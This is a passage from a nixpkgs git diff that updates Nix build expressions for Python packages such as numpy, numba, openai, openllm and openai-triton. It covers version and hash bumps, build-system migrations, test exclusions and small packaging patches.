"0.4.8"; pyproject = true; disabled = pythonOlder "3.7"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "markqvist"; repo = "NomadNet"; rev = "refs/tags/${version}"; - hash = "sha256-+w/Earu76mMJFp8ALvaDEkZOGJqlKbO7jfpW/xxvd1o="; + hash = "sha256-a8fLfTJePf+pejDTqYNXCZda24LaNtOwxwEmEMAnB0I="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/numba/default.nix b/pkgs/development/python-modules/numba/default.nix index cbf8fa40d78ca..ad72dca6cf514 100644 --- a/pkgs/development/python-modules/numba/default.nix +++ b/pkgs/development/python-modules/numba/default.nix @@ -28,11 +28,11 @@ let in buildPythonPackage rec { # Using an untagged version, with numpy 1.25 support, when it's released # also drop the versioneer patch in postPatch - version = "0.58.1"; + version = "0.59.0"; pname = "numba"; pyproject = true; - disabled = pythonOlder "3.8" || pythonAtLeast "3.12"; + disabled = pythonOlder "3.8" || pythonAtLeast "3.13"; src = fetchFromGitHub { owner = "numba"; @@ -50,7 +50,7 @@ in buildPythonPackage rec { # use `forceFetchGit = true;`.` If in the future we'll observe the hash # changes too often, we can always use forceFetchGit, and inject the # relevant strings ourselves, using `sed` commands, in extraPostFetch. - hash = "sha256-1Tj2GFoUwRRCWBFxhreF+0Mr+Tjyb7+X4peO+T0qGNs="; + hash = "sha256-wd4TujPhV2Jy/HUUXLHAlcbVFm4gfQNWxWFXD+jeZC4="; }; env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.isDarwin "-I${lib.getDev libcxx}/include/c++/v1"; diff --git a/pkgs/development/python-modules/numpy/default.nix b/pkgs/development/python-modules/numpy/default.nix index 039e571695f8b..d25d436d9fdd3 100644 --- a/pkgs/development/python-modules/numpy/default.nix +++ b/pkgs/development/python-modules/numpy/default.nix @@ -53,20 +53,17 @@ let }; in buildPythonPackage rec { pname = "numpy"; - version = "1.26.2"; + version = "1.26.4"; pyproject = true; disabled = pythonOlder "3.9" || pythonAtLeast "3.13"; src = fetchPypi { inherit pname version; extension = "tar.gz"; - hash = "sha256-9lc4RHZ2q1d38R5ru9uM4Rt4XhBfaQvEWWZXSBa20+o="; + hash = "sha256-KgKrqe0S5KxOs+qUIcQgMBoMZGDZgw10qd+H76SRIBA="; }; patches = [ - # Remove last usage of distutils to enable numpy on Python 3.12 - ./0001-BLD-remove-last-usage-of-distutils-in-_core-code_gen.patch - # Disable `numpy/core/tests/test_umath.py::TestComplexFunctions::test_loss_of_precision[complex256]` # on x86_64-darwin because it fails under Rosetta 2 due to issues with trig functions and # 80-bit long double complex numbers. @@ -167,6 +164,9 @@ in buildPythonPackage rec { "test_multinomial_pvals_float32" # Failed: DID NOT RAISE <class 'ValueError'> ] ++ lib.optionals stdenv.isAarch64 [ "test_big_arrays" # OOM on a 16G machine + ] ++ lib.optionals (stdenv.isDarwin && stdenv.isx86_64) [ + # can fail on virtualized machines confused over their cpu identity + "test_dispatcher" ]; passthru = { diff --git a/pkgs/development/python-modules/numpyro/default.nix b/pkgs/development/python-modules/numpyro/default.nix index 90c0db931e4c9..a38b43b2d8f96 100644 --- a/pkgs/development/python-modules/numpyro/default.nix +++ b/pkgs/development/python-modules/numpyro/default.nix @@ -15,14 +15,14 @@ buildPythonPackage rec { pname = "numpyro"; - version = "0.13.2"; + version = "0.14.0"; format = "setuptools"; disabled = pythonOlder "3.9"; src = fetchPypi { inherit version pname; - hash = "sha256-Um8LFVGAlMeOaN9uMwycHJzqEnTaxp8FYXIk+m2VTug="; + hash = "sha256-PkPqqchDRz166TnBg+ENsU4ju0KwrR3pCuFaRRF23kg="; }; propagatedBuildInputs = [ @@ -62,9 +62,6 @@ buildPythonPackage rec { "test_zero_inflated_logits_probs_agree" # NameError: unbound axis name: _provenance "test_model_transformation" - # Using deprecated (removed in jax==0.4.24) jax.core.safe_map - # https://github.com/pyro-ppl/numpyro/issues/1733 - "test_beta_bernoulli" ]; # TODO: remove when tensorflow-probability gets fixed. diff --git a/pkgs/development/python-modules/nvchecker/default.nix b/pkgs/development/python-modules/nvchecker/default.nix index ca327c3e54e0a..b375d6111ae0a 100644 --- a/pkgs/development/python-modules/nvchecker/default.nix +++ b/pkgs/development/python-modules/nvchecker/default.nix @@ -1,12 +1,10 @@ { lib -, aiohttp , platformdirs , buildPythonPackage , docutils , fetchFromGitHub , flaky , installShellFiles -, packaging , pycurl , pytest-asyncio , pytest-httpbin @@ -20,31 +18,29 @@ buildPythonPackage rec { pname = "nvchecker"; - version = "2.12"; - format = "pyproject"; + version = "2.13.1"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "lilydjwg"; repo = pname; rev = "v${version}"; - hash = "sha256-6mhVDC2jpIIOZeoKz4AxxU7jj8dqPVBKRWupbuY/T7E="; + hash = "sha256-q+az9oaxxIOv/vLFpkT3cF5GDJsa0Cid4oPWEKg5s7M="; }; nativeBuildInputs = [ + setuptools docutils installShellFiles ]; propagatedBuildInputs = [ - aiohttp - platformdirs - packaging - pycurl - setuptools structlog + platformdirs tornado + pycurl ] ++ lib.optionals (pythonOlder "3.11") [ tomli ]; diff --git a/pkgs/development/python-modules/nvidia-ml-py/0001-locate-libnvidia-ml.so.1-on-NixOS.patch b/pkgs/development/python-modules/nvidia-ml-py/0001-locate-libnvidia-ml.so.1-on-NixOS.patch index 3db9030c0ee5f..79f3e8f705c9b 100644 --- a/pkgs/development/python-modules/nvidia-ml-py/0001-locate-libnvidia-ml.so.1-on-NixOS.patch +++ b/pkgs/development/python-modules/nvidia-ml-py/0001-locate-libnvidia-ml.so.1-on-NixOS.patch @@ -11,7 +11,7 @@ index 9a424de..669afe0 100644 + nvmlLib = CDLL("libnvidia-ml.so.1") + except OSError: + # Assume NixOS -+ nvmlLib = CDLL("/run/opengl-driver/lib/libnvidia-ml.so.1") ++ nvmlLib = CDLL("@driverLink@/lib/libnvidia-ml.so.1") except OSError as ose: _nvmlCheckReturn(NVML_ERROR_LIBRARY_NOT_FOUND) if (nvmlLib == None): diff --git a/pkgs/development/python-modules/nvidia-ml-py/default.nix b/pkgs/development/python-modules/nvidia-ml-py/default.nix index a8c327a080764..b5c8f5a53d689 100644 --- a/pkgs/development/python-modules/nvidia-ml-py/default.nix +++ b/pkgs/development/python-modules/nvidia-ml-py/default.nix @@ -1,6 +1,8 @@ { lib , fetchPypi , buildPythonPackage +, substituteAll +, addOpenGLRunpath }: buildPythonPackage rec { @@ -15,7 +17,10 @@ buildPythonPackage rec { }; patches = [ - ./0001-locate-libnvidia-ml.so.1-on-NixOS.patch + (substituteAll { + src = ./0001-locate-libnvidia-ml.so.1-on-NixOS.patch; + inherit (addOpenGLRunpath) driverLink; + }) ]; # no tests diff --git a/pkgs/development/python-modules/oauthenticator/default.nix b/pkgs/development/python-modules/oauthenticator/default.nix index 9bc3ced1208bf..de26b60caac2a 100644 --- a/pkgs/development/python-modules/oauthenticator/default.nix +++ b/pkgs/development/python-modules/oauthenticator/default.nix @@ -10,12 +10,13 @@ , pytest-asyncio , pytestCheckHook , requests-mock +, setuptools }: buildPythonPackage rec { pname = "oauthenticator"; version = "16.2.1"; - format = "setuptools"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -26,9 +27,13 @@ buildPythonPackage rec { postPatch = '' substituteInPlace pyproject.toml \ - --replace " --cov=oauthenticator" "" + --replace-fail " --cov=oauthenticator" "" ''; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ jupyterhub ]; @@ -56,6 +61,16 @@ buildPythonPackage rec { # Tests are outdated, https://github.com/jupyterhub/oauthenticator/issues/432 "test_azuread" "test_mediawiki" + # Tests require network access + "test_allowed" + "test_auth0" + "test_bitbucket" + "test_cilogon" + "test_github" + "test_gitlab" + "test_globus" + "test_google" + "test_openshift" ]; pythonImportsCheck = [ @@ -67,5 +82,6 @@ buildPythonPackage rec { homepage = "https://github.com/jupyterhub/oauthenticator"; changelog = "https://github.com/jupyterhub/oauthenticator/blob/${version}/docs/source/reference/changelog.md"; license = licenses.bsd3; + maintainers = with maintainers; [ ]; }; } diff --git a/pkgs/development/python-modules/oauthlib/default.nix b/pkgs/development/python-modules/oauthlib/default.nix index 424e35c5d3a91..9f240535256af 100644 --- a/pkgs/development/python-modules/oauthlib/default.nix +++ b/pkgs/development/python-modules/oauthlib/default.nix @@ -7,6 +7,7 @@ , pyjwt , pytestCheckHook , pythonOlder +, setuptools # for passthru.tests , django-allauth @@ -18,27 +19,31 @@ buildPythonPackage rec { pname = "oauthlib"; version = "3.2.2"; - format = "setuptools"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { - owner = pname; - repo = pname; + owner = "oauthlib"; + repo = "oauthlib"; rev = "v${version}"; hash = "sha256-KADS1pEaLYi86LEt2VVuz8FVTBANzxC8EeQLgGMxuBU="; }; - propagatedBuildInputs = [ - blinker - cryptography - pyjwt + nativeBuildInputs = [ + setuptools ]; + passthru.optional-dependencies = { + rsa = [ cryptography ]; + signedtoken = [ cryptography pyjwt ]; + signals = [ blinker ]; + }; + nativeCheckInputs = [ mock pytestCheckHook - ]; + ] ++ lib.flatten (lib.attrValues passthru.optional-dependencies); pythonImportsCheck = [ "oauthlib" @@ -53,8 +58,9 @@ buildPythonPackage rec { }; meta = with lib; { + changelog = "https://github.com/oauthlib/oauthlib/blob/${src.rev}/CHANGELOG.rst"; description = "Generic, spec-compliant, thorough implementation of the OAuth request-signing logic"; - homepage = "https://github.com/idan/oauthlib"; + homepage = "https://github.com/oauthlib/oauthlib"; license = licenses.bsd3; maintainers = with maintainers; [ prikhi ]; }; diff --git a/pkgs/development/python-modules/objax/default.nix b/pkgs/development/python-modules/objax/default.nix index 24a14b37f98ca..7f2725e9d286b 100644 --- a/pkgs/development/python-modules/objax/default.nix +++ b/pkgs/development/python-modules/objax/default.nix @@ -2,22 +2,26 @@ , buildPythonPackage , fetchFromGitHub , fetchpatch -, jaxlib , jax +, jaxlib +, keras , numpy , parameterized , pillow +, pytestCheckHook +, pythonOlder , scipy +, setuptools , tensorboard -, keras -, pytestCheckHook , tensorflow }: buildPythonPackage rec { pname = "objax"; version = "1.8.0"; - format = "setuptools"; + pyproject = true; + + disabled = pythonOlder "3.9"; src = fetchFromGitHub { owner = "google"; @@ -26,6 +30,10 @@ buildPythonPackage rec { hash = "sha256-WD+pmR8cEay4iziRXqF3sHUzCMBjmLJ3wZ3iYOD+hzk="; }; + nativeBuildInputs = [ + setuptools + ]; + # Avoid propagating the dependency on `jaxlib`, see # https://github.com/NixOS/nixpkgs/issues/156767 buildInputs = [ @@ -62,11 +70,14 @@ buildPythonPackage rec { disabledTests = [ # Test requires internet access for prefetching some weights "test_pretrained_keras_weight_0_ResNet50V2" + # ModuleNotFoundError: No module named 'tree' + "TestResNetV2Pretrained" ]; meta = with lib; { - description = "Objax is a machine learning framework that provides an Object Oriented layer for JAX."; + description = "Machine learning framework that provides an Object Oriented layer for JAX"; homepage = "https://github.com/google/objax"; + changelog = "https://github.com/google/objax/releases/tag/v${version}"; license = licenses.asl20; maintainers = with maintainers; [ ndl ]; }; diff --git a/pkgs/development/python-modules/oci/default.nix b/pkgs/development/python-modules/oci/default.nix index 0e5d643c7d966..ca6660e5e7003 100644 --- a/pkgs/development/python-modules/oci/default.nix +++ b/pkgs/development/python-modules/oci/default.nix @@ -14,7 +14,7 @@ buildPythonPackage rec { pname = "oci"; - version = "2.120.0"; + version = "2.124.0"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -23,7 +23,7 @@ buildPythonPackage rec { owner = "oracle"; repo = "oci-python-sdk"; rev = "refs/tags/v${version}"; - hash = "sha256-KUiv0cNkkvaouhR2UgdMVBwrZoqCxVif71/eiyjpskI="; + hash = "sha256-/I86zjhQsDYljgde7L2lPFHiMykRmOgNOaqk5SxNMlg="; }; pythonRelaxDeps = [ diff --git a/pkgs/development/python-modules/ocrmypdf/default.nix b/pkgs/development/python-modules/ocrmypdf/default.nix index 8ef6990e5a984..3d73d3d194974 100644 --- a/pkgs/development/python-modules/ocrmypdf/default.nix +++ b/pkgs/development/python-modules/ocrmypdf/default.nix @@ -30,7 +30,7 @@ buildPythonPackage rec { pname = "ocrmypdf"; - version = "16.1.0"; + version = "16.1.1"; disabled = pythonOlder "3.10"; @@ -46,7 +46,7 @@ buildPythonPackage rec { postFetch = '' rm "$out/.git_archival.txt" ''; - hash = "sha256-rKy1bPgQOqx+F5cpFg+KG0r70B0RWns03gwoiVbz35U="; + hash = "sha256-XCYNz1QQodUEidz1+A79yleqOnOCK3zJ8mBIPU5JEQg="; }; patches = [ diff --git a/pkgs/development/python-modules/odp-amsterdam/default.nix b/pkgs/development/python-modules/odp-amsterdam/default.nix index 9f8f810b4be9c..e847982f9b651 100644 --- a/pkgs/development/python-modules/odp-amsterdam/default.nix +++ b/pkgs/development/python-modules/odp-amsterdam/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "odp-amsterdam"; - version = "6.0.0"; + version = "6.0.1"; pyproject = true; disabled = pythonOlder "3.11"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "klaasnicolaas"; repo = "python-odp-amsterdam"; rev = "refs/tags/v${version}"; - hash = "sha256-dAyKypc8bMWkXhYa7BlGGAGqPaPJHFHwXd/UK80BGoE="; + hash = "sha256-teLjiclkbjlG226gMUgqc2IUEWqKcSm6xIekw+AQPU4="; }; postPatch = '' diff --git a/pkgs/development/python-modules/oelint-parser/default.nix b/pkgs/development/python-modules/oelint-parser/default.nix index eb3e76a5e518a..57750768e4dba 100644 --- a/pkgs/development/python-modules/oelint-parser/default.nix +++ b/pkgs/development/python-modules/oelint-parser/default.nix @@ -9,13 +9,13 @@ buildPythonPackage rec { pname = "oelint-parser"; - version = "3.1.0"; + version = "3.3.1"; format = "setuptools"; src = fetchPypi { inherit version; pname = "oelint_parser"; - hash = "sha256-uR90Af/3E8YVZ2ALSVFOkTr59iVw5NkLOnQBm4Us1vk="; + hash = "sha256-+u0whEnzA5XZlqgTpQtGH25/krLLvNPycWXzBUedMRc="; }; buildInputs = [ pip ]; diff --git a/pkgs/development/python-modules/openai-triton/0001-ptxas-disable-version-key-for-non-cuda-targets.patch b/pkgs/development/python-modules/openai-triton/0001-ptxas-disable-version-key-for-non-cuda-targets.patch new file mode 100644 index 0000000000000..3941d54b8b37f --- /dev/null +++ b/pkgs/development/python-modules/openai-triton/0001-ptxas-disable-version-key-for-non-cuda-targets.patch @@ -0,0 +1,27 @@ +From 10f3d49aa6084d1b9b9624017cce7df106b9fb7e Mon Sep 17 00:00:00 2001 +From: Yaroslav Bolyukin <iam@lach.pw> +Date: Tue, 6 Feb 2024 13:51:28 +0100 +Subject: [PATCH] ptxas: disable version key for non-cuda targets + +--- + python/triton/runtime/jit.py | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/python/triton/runtime/jit.py b/python/triton/runtime/jit.py +index d55972b4b..bd875a701 100644 +--- a/python/triton/runtime/jit.py ++++ b/python/triton/runtime/jit.py +@@ -117,8 +117,8 @@ def version_key(): + with open(lib.module_finder.find_spec(lib.name).origin, "rb") as f: + contents += [hashlib.md5(f.read()).hexdigest()] + # ptxas version +- ptxas = path_to_ptxas()[0] +- ptxas_version = hashlib.md5(subprocess.check_output([ptxas, "--version"])).hexdigest() ++ # ptxas = path_to_ptxas()[0] ++ ptxas_version = "noptxas" + return '-'.join(TRITON_VERSION) + '-' + ptxas_version + '-' + '-'.join(contents) + + +-- +2.43.0 + diff --git a/pkgs/development/python-modules/openai-triton/default.nix b/pkgs/development/python-modules/openai-triton/default.nix index 46f1e6de56840..018852bdc7437 100644 --- a/pkgs/development/python-modules/openai-triton/default.nix +++ b/pkgs/development/python-modules/openai-triton/default.nix @@ -19,6 +19,9 @@ , filelock , torchWithRocm , python + +, runCommand + , cudaPackages , cudaSupport ? config.cudaSupport }: @@ -46,6 +49,9 @@ buildPythonPackage rec { }) ] ++ lib.optionals (!cudaSupport) [ ./0000-dont-download-ptxas.patch + # openai-triton wants to get ptxas version even if ptxas is not + # used, resulting in ptxas not found error. + ./0001-ptxas-disable-version-key-for-non-cuda-targets.patch ]; nativeBuildInputs = [ @@ -71,7 +77,12 @@ buildPythonPackage rec { zlib ]; - propagatedBuildInputs = [ filelock ]; + propagatedBuildInputs = [ + filelock + # openai-triton uses setuptools at runtime: + # https://github.com/NixOS/nixpkgs/pull/286763/#discussion_r1480392652 + setuptools + ]; postPatch = let # Bash was getting weird without linting, @@ -150,7 +161,18 @@ buildPythonPackage rec { # ]; # Ultimately, torch is our test suite: - passthru.tests = { inherit torchWithRocm; }; + passthru.tests = { + inherit torchWithRocm; + # Implemented as alternative to pythonImportsCheck, in case if circular dependency on torch occurs again, + # and pythonImportsCheck is commented back. + import-triton = runCommand "import-triton" { nativeBuildInputs = [(python.withPackages (ps: [ps.openai-triton]))]; } '' + python << \EOF + import triton + import triton.language + EOF + touch "$out" + ''; + }; pythonRemoveDeps = [ # Circular dependency, cf. https://github.com/openai/triton/issues/1374 diff --git a/pkgs/development/python-modules/openai/default.nix b/pkgs/development/python-modules/openai/default.nix index fcd9620cdf4ae..fb05e0a18dd35 100644 --- a/pkgs/development/python-modules/openai/default.nix +++ b/pkgs/development/python-modules/openai/default.nix @@ -26,7 +26,7 @@ buildPythonPackage rec { pname = "openai"; - version = "1.11.1"; + version = "1.13.3"; pyproject = true; disabled = pythonOlder "3.7.1"; @@ -35,7 +35,7 @@ buildPythonPackage rec { owner = "openai"; repo = "openai-python"; rev = "refs/tags/v${version}"; - hash = "sha256-PtxKQQfcM4aOlqU0qIJDpB/24Wkt/omx+uDk4mRZU4s="; + hash = "sha256-8SHXUrPLZ7lgvB0jqZlcvKq5Zv2d2UqXjJpgiBpR8P8="; }; nativeBuildInputs = [ @@ -74,13 +74,18 @@ buildPythonPackage rec { dirty-equals ]; + pytestFlagsArray = [ + "-W" "ignore::DeprecationWarning" + ]; + disabledTests = [ - # makes network requests + # Tests make network requests "test_streaming_response" + "test_copy_build_request" ]; disabledTestPaths = [ - # makes network requests + # Test makes network requests "tests/api_resources" ]; diff --git a/pkgs/development/python-modules/openaiauth/default.nix b/pkgs/development/python-modules/openaiauth/default.nix index da10f6ffbe557..1b33438e070fe 100644 --- a/pkgs/development/python-modules/openaiauth/default.nix +++ b/pkgs/development/python-modules/openaiauth/default.nix @@ -2,13 +2,14 @@ , buildPythonPackage , fetchPypi , pythonOlder -, requests +, setuptools +, tls-client }: buildPythonPackage rec { pname = "openaiauth"; version = "3.0.0"; - format = "setuptools"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -18,8 +19,12 @@ buildPythonPackage rec { hash = "sha256-9SrptiheiM5s9YI6Ht68ahDGMFADWfBQgAWUBY3EEJ8="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ - requests + tls-client ]; # Module has no tests diff --git a/pkgs/development/python-modules/openbabel-bindings/default.nix b/pkgs/development/python-modules/openbabel-bindings/default.nix index fad677987bf4a..6cac1fb385b22 100644 --- a/pkgs/development/python-modules/openbabel-bindings/default.nix +++ b/pkgs/development/python-modules/openbabel-bindings/default.nix @@ -1,8 +1,7 @@ { lib, openbabel, python, buildPythonPackage }: buildPythonPackage rec { - pname = "openbabel"; - version = "3.1.1"; + inherit (openbabel) pname version; src = "${openbabel}/lib/python${python.sourceVersion.major}.${python.sourceVersion.minor}/site-packages"; diff --git a/pkgs/development/python-modules/openllm-client/default.nix b/pkgs/development/python-modules/openllm-client/default.nix index a1cc4fcc921e0..08ac4e9ae02ee 100644 --- a/pkgs/development/python-modules/openllm-client/default.nix +++ b/pkgs/development/python-modules/openllm-client/default.nix @@ -23,20 +23,26 @@ buildPythonPackage rec { sourceRoot = "source/openllm-client"; - nativeBuildInputs = [ + postPatch = '' + substituteInPlace pyproject.toml \ + --replace-fail "hatchling==1.18.0" "hatchling" \ + --replace-fail "hatch-vcs==0.3.0" "hatch-vcs" + ''; + + build-system = [ hatch-fancy-pypi-readme hatch-vcs hatchling ]; - propagatedBuildInputs = [ + dependencies = [ anyio distro httpx openllm-core ]; - passthru.optional-dependencies = { + optional-dependencies = { grpc = [ bentoml ] ++ bentoml.optional-dependencies.grpc; @@ -48,7 +54,7 @@ buildPythonPackage rec { # diffusers soundfile ] ++ transformers.optional-dependencies.agents; - full = passthru.optional-dependencies.grpc ++ passthru.optional-dependencies.agents; + full = optional-dependencies.grpc ++ optional-dependencies.agents; }; # there is no tests diff --git a/pkgs/development/python-modules/openllm-core/default.nix b/pkgs/development/python-modules/openllm-core/default.nix index c807f668b2711..c87e75fbc4d13 100644 --- a/pkgs/development/python-modules/openllm-core/default.nix +++ b/pkgs/development/python-modules/openllm-core/default.nix @@ -24,7 +24,7 @@ buildPythonPackage rec { pname = "openllm-core"; - version = "0.4.41"; + version = "0.4.44"; pyproject = true; disabled = pythonOlder "3.8"; @@ -33,15 +33,12 @@ buildPythonPackage rec { owner = "bentoml"; repo = "OpenLLM"; rev = "refs/tags/v${version}"; - hash = "sha256-9mr6sw4/h5cYSmo1CDT2SKq4NVz1ZcoyqnYOwhlfaiQ="; + hash = "sha256-kRR715Vnt9ZAmxuWvtH0z093crH0JFrEKPtbjO3QMRc="; }; sourceRoot = "source/openllm-core"; nativeBuildInputs = [ - hatch-fancy-pypi-readme - hatch-vcs - hatchling pythonRelaxDepsHook ]; @@ -55,7 +52,13 @@ buildPythonPackage rec { "cattrs" ]; - propagatedBuildInputs = [ + build-system = [ + hatch-fancy-pypi-readme + hatch-vcs + hatchling + ]; + + dependencies = [ attrs cattrs # not listed in pyproject.toml, but required at runtime @@ -67,7 +70,7 @@ buildPythonPackage rec { typing-extensions ]; - passthru.optional-dependencies = { + optional-dependencies = { vllm = [ # vllm ]; @@ -83,7 +86,7 @@ buildPythonPackage rec { # trl ] ++ transformers.optional-dependencies.torch ++ transformers.optional-dependencies.tokenizers; - full = with passthru.optional-dependencies; ( + full = with optional-dependencies; ( vllm # use absolute path to disambiguate with derivbation argument ++ passthru.optional-dependencies.bentoml diff --git a/pkgs/development/python-modules/openllm/default.nix b/pkgs/development/python-modules/openllm/default.nix index d889860e4e674..ae2cedd9ce1ac 100644 --- a/pkgs/development/python-modules/openllm/default.nix +++ b/pkgs/development/python-modules/openllm/default.nix @@ -54,9 +54,6 @@ buildPythonPackage rec { sourceRoot = "source/openllm-python"; nativeBuildInputs = [ - hatch-fancy-pypi-readme - hatch-vcs - hatchling pythonRelaxDepsHook ]; @@ -65,7 +62,13 @@ buildPythonPackage rec { "cuda-python" ]; - propagatedBuildInputs = [ + build-system = [ + hatch-fancy-pypi-readme + hatch-vcs + hatchling + ]; + + dependencies = [ accelerate bentoml bitsandbytes @@ -79,14 +82,13 @@ buildPythonPackage rec { safetensors scipy sentencepiece - tabulate transformers ] ++ bentoml.optional-dependencies.io ++ tabulate.optional-dependencies.widechars ++ transformers.optional-dependencies.tokenizers ++ transformers.optional-dependencies.torch; - passthru.optional-dependencies = { + optional-dependencies = { agents = [ # diffusers soundfile @@ -142,13 +144,13 @@ buildPythonPackage rec { vllm = [ # vllm ]; - full = with passthru.optional-dependencies; ( + full = with optional-dependencies; ( agents ++ awq ++ baichuan ++ chatglm ++ ctranslate ++ falcon ++ fine-tune ++ ggml ++ gptq ++ mpt # disambiguate between derivation input and passthru field - ++ passthru.optional-dependencies.openai + ++ optional-dependencies.openai ++ playground ++ starcoder ++ vllm ); - all = passthru.optional-dependencies.full; + all = optional-dependencies.full; }; nativeCheckInputs = [ diff --git a/pkgs/development/python-modules/openrazer/common.nix b/pkgs/development/python-modules/openrazer/common.nix index 5b7a0bc0f8f21..3e801b5827975 100644 --- a/pkgs/development/python-modules/openrazer/common.nix +++ b/pkgs/development/python-modules/openrazer/common.nix @@ -1,14 +1,14 @@ { lib , fetchFromGitHub }: rec { - version = "3.6.1"; + version = "3.7.0"; format = "setuptools"; src = fetchFromGitHub { owner = "openrazer"; repo = "openrazer"; rev = "v${version}"; - hash = "sha256-bboTRZqJq5tKeBQuiEQAXxTHYvoldDQlwbfehjDA8EE="; + hash = "sha256-tjVWvJxcZ2maR99VRwMGCa+IK+1CjCc7jxAj4XkDUEw="; }; meta = with lib; { diff --git a/pkgs/development/python-modules/openstacksdk/default.nix b/pkgs/development/python-modules/openstacksdk/default.nix index 1dca33bba9e11..f6cc42e67f754 100644 --- a/pkgs/development/python-modules/openstacksdk/default.nix +++ b/pkgs/development/python-modules/openstacksdk/default.nix @@ -19,14 +19,14 @@ buildPythonPackage rec { pname = "openstacksdk"; - version = "2.1.0"; + version = "3.0.0"; format = "setuptools"; - disabled = pythonOlder "3.6"; + disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-dsm3QKLNYl/MbpJBYU7vKgk0y3I1SlxYcWj4+t7y5nQ="; + hash = "sha256-sMf5oCXV2pKtTHYpQeasxMtTkwoH/3OamuvMXlpySuY="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/openstacksdk/tests.nix b/pkgs/development/python-modules/openstacksdk/tests.nix index 148f76d03529c..c3f16f7d9ef67 100644 --- a/pkgs/development/python-modules/openstacksdk/tests.nix +++ b/pkgs/development/python-modules/openstacksdk/tests.nix @@ -50,6 +50,7 @@ buildPythonPackage { openstack.tests.unit.cloud.test_image.TestImage.test_create_image_task openstack.tests.unit.image.v2.test_proxy.TestImageProxy.test_wait_for_task_error_396 openstack.tests.unit.image.v2.test_proxy.TestImageProxy.test_wait_for_task_wait + openstack.tests.unit.test_resource.TestWaitForStatus.test_callback openstack.tests.unit.test_resource.TestWaitForStatus.test_status_fails openstack.tests.unit.test_resource.TestWaitForStatus.test_status_fails_different_attribute openstack.tests.unit.test_resource.TestWaitForStatus.test_status_match diff --git a/pkgs/development/python-modules/opentelemetry-instrumentation-fastapi/default.nix b/pkgs/development/python-modules/opentelemetry-instrumentation-fastapi/default.nix new file mode 100644 index 0000000000000..41de5bb8b60f0 --- /dev/null +++ b/pkgs/development/python-modules/opentelemetry-instrumentation-fastapi/default.nix @@ -0,0 +1,54 @@ +{ lib +, buildPythonPackage +, fastapi +, hatchling +, httpx +, opentelemetry-api +, opentelemetry-instrumentation +, opentelemetry-instrumentation-asgi +, opentelemetry-semantic-conventions +, opentelemetry-test-utils +, opentelemetry-util-http +, pytestCheckHook +, pythonOlder +, requests +}: + +buildPythonPackage { + inherit (opentelemetry-instrumentation) version src; + pname = "opentelemetry-instrumentation-fastapi"; + pyproject = true; + + disabled = pythonOlder "3.7"; + + sourceRoot = "${opentelemetry-instrumentation.src.name}/instrumentation/opentelemetry-instrumentation-fastapi"; + + nativeBuildInputs = [ + hatchling + ]; + + propagatedBuildInputs = [ + fastapi + opentelemetry-api + opentelemetry-instrumentation + opentelemetry-instrumentation-asgi + opentelemetry-semantic-conventions + opentelemetry-util-http + ]; + + nativeCheckInputs = [ + httpx + opentelemetry-test-utils + pytestCheckHook + requests + ]; + + pythonImportsCheck = [ + "opentelemetry.instrumentation.fastapi" + ]; + + meta = opentelemetry-instrumentation.meta // { + description = "OpenTelemetry Instrumentation for fastapi"; + homepage = "https://github.com/open-telemetry/opentelemetry-python-contrib/blob/main/instrumentation/opentelemetry-instrumentation-fastapi"; + }; +} diff --git a/pkgs/development/python-modules/openusd/default.nix b/pkgs/development/python-modules/openusd/default.nix index f97a9f425ecd4..590bae1823c97 100644 --- a/pkgs/development/python-modules/openusd/default.nix +++ b/pkgs/development/python-modules/openusd/default.nix @@ -28,6 +28,7 @@ , bison , qt6 , python +, darwin }: let # Matches the pyside6-uic implementation @@ -46,6 +47,11 @@ buildPythonPackage rec { hash = "sha256-5zQrfB14kXs75WbL3s4eyhxELglhLNxU2L2aVXiyVjg="; }; + stdenv = if python.stdenv.isDarwin then + darwin.apple_sdk_11_0.stdenv + else + python.stdenv; + outputs = ["out" "doc"]; format = "other"; @@ -72,9 +78,9 @@ buildPythonPackage rec { "-DPXR_BUILD_PYTHON_DOCUMENTATION=ON" "-DPXR_BUILD_EMBREE_PLUGIN=ON" "-DPXR_BUILD_ALEMBIC_PLUGIN=ON" - "-DPXR_ENABLE_OSL_SUPPORT=ON" "-DPXR_BUILD_DRACO_PLUGIN=ON" "-DPXR_BUILD_MONOLITHIC=ON" # Seems to be commonly linked to monolithically + (lib.cmakeBool "PXR_ENABLE_OSL_SUPPORT" (!stdenv.isDarwin)) ]; nativeBuildInputs = [ @@ -100,8 +106,12 @@ buildPythonPackage rec { boost draco qt6.qtbase - qt6.qtwayland - ]; + ] + ++ lib.optionals stdenv.isLinux [ qt6.qtwayland ] + ++ lib.optionals stdenv.isDarwin (with darwin.apple_sdk_11_0.frameworks; [ + Cocoa + ]) + ; pythonImportsCheck = [ "pxr" "pxr.Usd" ]; diff --git a/pkgs/development/python-modules/openwebifpy/default.nix b/pkgs/development/python-modules/openwebifpy/default.nix index 3d2da52076566..160a7708bdf69 100644 --- a/pkgs/development/python-modules/openwebifpy/default.nix +++ b/pkgs/development/python-modules/openwebifpy/default.nix @@ -16,14 +16,14 @@ buildPythonPackage rec { pname = "openwebifpy"; - version = "4.2.1"; + version = "4.2.4"; pyproject = true; disabled = pythonOlder "3.11"; src = fetchPypi { inherit pname version; - hash = "sha256-dCgbMyyVmYGPV8GyZUrMR+IO8nGoQ//dnmHmhFH2iJo="; + hash = "sha256-qL/H2F+/d/JWwmUbZhvoMlZZDGgEpRBmHabt1MWjGAs="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/opower/default.nix b/pkgs/development/python-modules/opower/default.nix index 6e5225d17337c..306f0431bfae7 100644 --- a/pkgs/development/python-modules/opower/default.nix +++ 